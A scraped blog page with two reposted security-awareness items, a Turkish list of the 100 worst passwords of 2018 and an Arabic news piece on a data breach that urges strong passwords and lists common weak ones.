100 biteme 99 1992 98 London 97 Soccer 96 William 95 Querty 94 Liverpool 93 Pussy 92 admin123 91 whatever 90 dallas 89 hockey 88 test 87 zaq1zaq1 86 1q2w3e 85 Aaaaaa 84 Killer 83 Bandit 82 Ashley 81 Cookie 80 Merlin 79 trustno1 78 1991 77 Ranger 76 Chelsea 75 Banana 74 Jennifer 73 1990 72 Amanda 71 1989 70 Hunter 69 Nicole 68 Hello 67 Maverick 66 Blahblah 65 Mercedes 64 Corvette 63 Computer 62 Cheese 61 Ferrari 60 Starwars 59 1qaz2wsx 58 Andrea 57 Lakers 56 Andrew 55 12341234 54 Matthew 53 Robert 52 1234 51 Sophie 50 Pepper 49 Joshua 48 Tigger 47 55555 46 Jordan 45 Solo 44 Abcdef 43 Letmein 42 Ginger 41 Jessica 40 222222 39 Harley 38 George 37 Summer 36 Thomas 35 Hannah 34 Daniel 33 Buster 32 Baseball 31 passw0rd 30 shadow 29 freedom 28 bailey 27 121212 26 Zxcvbnm 25 qwerty123 24 password1 23 Donald 22 aa123456 21 Charlie 20 !@#$%^&* 19 654321 18 Monkey 17 123123 16 Football 15 abc123 14 666666 13 Welcome 12 Admin 11 Princess 10 İloveyou 9 Qwerty 8 Sunshine 7 1234567 6 111111 5 12345 4 12345678 3 123456789 2 Password 1 123456

Kaynak: https://www.teamsid.com/100-worst-passwords/

Teknoloji ve Mobil Yaşam Rehberi 2018 Yılının En Kötü Şifre Kombinasyonları Belli Oldu

0 notes

ra7eq-com · 6 years ago

Link

حذرت شركة ملابس رياضية شهيرة فى وقت سابق من هذا العام الملايين من عملائها من حدوث اختراق محتمل للبيانات، حيث قالت إن هناك "طرف غير المصرح له" يدعى أنه حصل على بيانات العملاء من موقع الشركة على الإنترنت في الولايات المتحدة، ومع تزايد عدد الأشخاص الذين يزورون الإنترنت ، يقول خبراء الإنترنت أنه من الضروري وجود آلية أمنية في مكانها، ورغم أن أدوات مثل مكافحة الفيروسات ونظام كشف التسلل وغيرها تعد من العناصر المساعدة، لكن من المهم ايضا استخدام كلمة مرور قوية، حيث كشفت بعض الدراسات والأبحاث، أن العديد من المستخدمين يلجأون لاستخدام كلمات السر البسي��ة، وربما يستخدمون نفس كلمة السر لحسابات متعددة.

وقد أطلقت شركة Splash Data المتخصصة بتطبيقات إدارة كلمات المرور، قائمة تضم مجموعة من كلمات المرور الضعيفة والتى أطلقت عليها اسم " قائمة أسوأ كلمات مرور شائعة بين المستخدمين"، حيث تطلق الشركة ملايين من كلمات المرور التي تسربت إلى المجال العام وهي متوفرة مع المتسللين، فيما القائمة عبارة عن مساعدة ضخمة للتحقق مما إذا كانت كلمة المرور الخاصة بك قد تم تسريبها أيضًا عبر الإنترنت، والتى نرصد أبرزها كما يلى:

- 123456.

- password.

- 12345678.

- qwerty

- 12345

- 123456789

- letmein

- 1234567

- football

- iloveyou

- admin

- welcome

- monkey

- login

- abc123

- starwars

- 123123

- dragon

- passw0rd

- master

- hello

- freedom

- whatever

- qazwsx

- tustno1

-654321

- jordon23

- harley

-password1

- 1234

- robert

- matthew

- jordan

asshole

- daniel

- andrew

- lakers

- andrea

- buster

- joshua

- 1qaz2wsx

- 12341234

- ferrari

- cheese

- computer

- corvette

- blahblah

- george

- mercedes

- 121212

- maverick

- fuckyou

- nicole

- hunter

- sunshine

- tigger

- 1989

- merlin

- ranger

- solo

- banana

- chelsea

- summer

- 1990

- 1991

- phoenix

- amanda

- ashley

للمزيد قم بزيارة رحيق المعرفة

via رحيق المعرفة

#IFTTT #رحيق المعرفة

0 notes